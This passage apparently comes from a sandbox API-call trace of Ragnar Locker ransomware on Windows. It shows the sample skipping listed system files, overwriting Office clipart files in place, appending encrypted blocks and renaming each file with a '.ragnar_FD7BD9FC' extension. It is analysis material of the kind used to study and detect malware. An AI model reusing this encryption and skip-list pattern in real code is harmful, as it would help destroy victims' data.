lpOverlapped=0x0) returned 1 [0087.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.229] GetProcessHeap () returned 0x580000 [0087.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.229] CloseHandle (hObject=0xf4) returned 1 [0087.229] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" [0087.229] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ragnar_FD7BD9FC" [0087.229] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282126.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282126.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.229] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0087.229] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0282928.WMF" | out: lpString1="J0282928.WMF") returned="J0282928.WMF" [0087.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF") returned=".WMF" [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="autorun.inf") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="boot.ini") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="bootfont.bin") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="bootsect.bak") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="bootmgr") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="bootmgr.efi") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="bootmgfw.efi") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="desktop.ini") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="iconcache.db") returned 1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="ntldr") returned -1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="ntuser.dat") returned -1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="ntuser.dat.log") returned -1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="ntuser.ini") returned -1 [0087.230] lstrcmpiW (lpString1="J0282928.WMF", lpString2="thumbs.db") returned -1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.230] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf")) returned 0x20 [0087.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.231] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33126) returned 1 [0087.231] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x815d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.231] GetProcessHeap () returned 0x580000 [0087.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.231] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.233] VirtualAlloc (lpAddress=0x0, dwSize=0x8166, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.233] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8166, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8166, lpOverlapped=0x0) returned 1 [0087.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8166, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.234] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8166, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8166, lpOverlapped=0x0) returned 1 [0087.234] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8166, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.234] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.235] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.235] GetProcessHeap () returned 0x580000 [0087.235] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.235] CloseHandle (hObject=0xf4) returned 1 [0087.235] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" [0087.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ragnar_FD7BD9FC" [0087.236] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282928.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282928.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.236] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0087.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.236] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0282932.WMF" | out: lpString1="J0282932.WMF") returned="J0282932.WMF" [0087.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF") returned=".WMF" [0087.236] lstrcmpiW (lpString1="J0282932.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.236] lstrcmpiW (lpString1="J0282932.WMF", lpString2="autorun.inf") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="boot.ini") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="bootfont.bin") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="bootsect.bak") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="bootmgr") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="bootmgr.efi") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="bootmgfw.efi") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="desktop.ini") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="iconcache.db") returned 1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="ntldr") returned -1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="ntuser.dat") returned -1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="ntuser.dat.log") returned -1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="ntuser.ini") returned -1 [0087.237] lstrcmpiW (lpString1="J0282932.WMF", lpString2="thumbs.db") returned -1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.237] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf")) returned 0x20 [0087.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.238] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14080) returned 1 [0087.238] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.238] GetProcessHeap () returned 0x580000 [0087.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.238] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.240] VirtualAlloc (lpAddress=0x0, dwSize=0x3700, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.240] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.240] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3700, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3700, lpOverlapped=0x0) returned 1 [0087.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.241] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3700, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.241] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3700, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3700, lpOverlapped=0x0) returned 1 [0087.241] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3700, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.241] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.241] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.241] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.241] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.242] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.242] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.242] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.242] GetProcessHeap () returned 0x580000 [0087.242] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.242] CloseHandle (hObject=0xf4) returned 1 [0087.242] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" [0087.242] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ragnar_FD7BD9FC" [0087.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0282932.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0282932.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.243] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0087.243] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.243] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0285462.WMF" | out: lpString1="J0285462.WMF") returned="J0285462.WMF" [0087.243] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF") returned=".WMF" [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="autorun.inf") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="boot.ini") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="bootfont.bin") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="bootsect.bak") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="bootmgr") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="bootmgr.efi") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="bootmgfw.efi") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="desktop.ini") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="iconcache.db") returned 1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="ntldr") returned -1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="ntuser.dat") returned -1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="ntuser.dat.log") returned -1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="ntuser.ini") returned -1 [0087.243] lstrcmpiW (lpString1="J0285462.WMF", lpString2="thumbs.db") returned -1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.243] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf")) returned 0x20 [0087.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.244] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14474) returned 1 [0087.245] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3881, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.245] GetProcessHeap () returned 0x580000 [0087.245] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.245] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.246] VirtualAlloc (lpAddress=0x0, dwSize=0x388a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.246] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.246] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x388a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x388a, lpOverlapped=0x0) returned 1 [0087.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.247] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x388a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.247] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x388a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x388a, lpOverlapped=0x0) returned 1 [0087.247] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x388a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.247] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.247] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x388a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.247] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.248] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.248] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.248] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.248] GetProcessHeap () returned 0x580000 [0087.248] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.248] CloseHandle (hObject=0xf4) returned 1 [0087.248] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285462.WMF" [0087.248] lstrcatW (in: lpString1="\\\\?\\C:\\Program 